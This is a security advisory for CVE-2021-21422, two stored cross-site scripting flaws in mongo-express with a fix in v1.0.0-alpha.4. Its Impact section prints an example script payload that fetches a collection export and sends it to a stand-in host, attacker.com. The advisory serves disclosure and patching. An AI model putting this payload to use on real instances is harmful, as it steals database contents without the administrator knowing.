GHSA-7p8h-86p5-wv3pHighCVSS 8.1
Cross-site scripting
🔗 CVE IDs covered (1)
📋 Description
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at [email protected]
🎯 Affected products1
- npm/mongo-express:<= 1.0.0-alpha.2
🔗 References (5)
- https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p
- https://nvd.nist.gov/vuln/detail/CVE-2021-21422
- https://github.com/mongo-express/mongo-express/issues/577
- https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b
- https://github.com/advisories/GHSA-7p8h-86p5-wv3p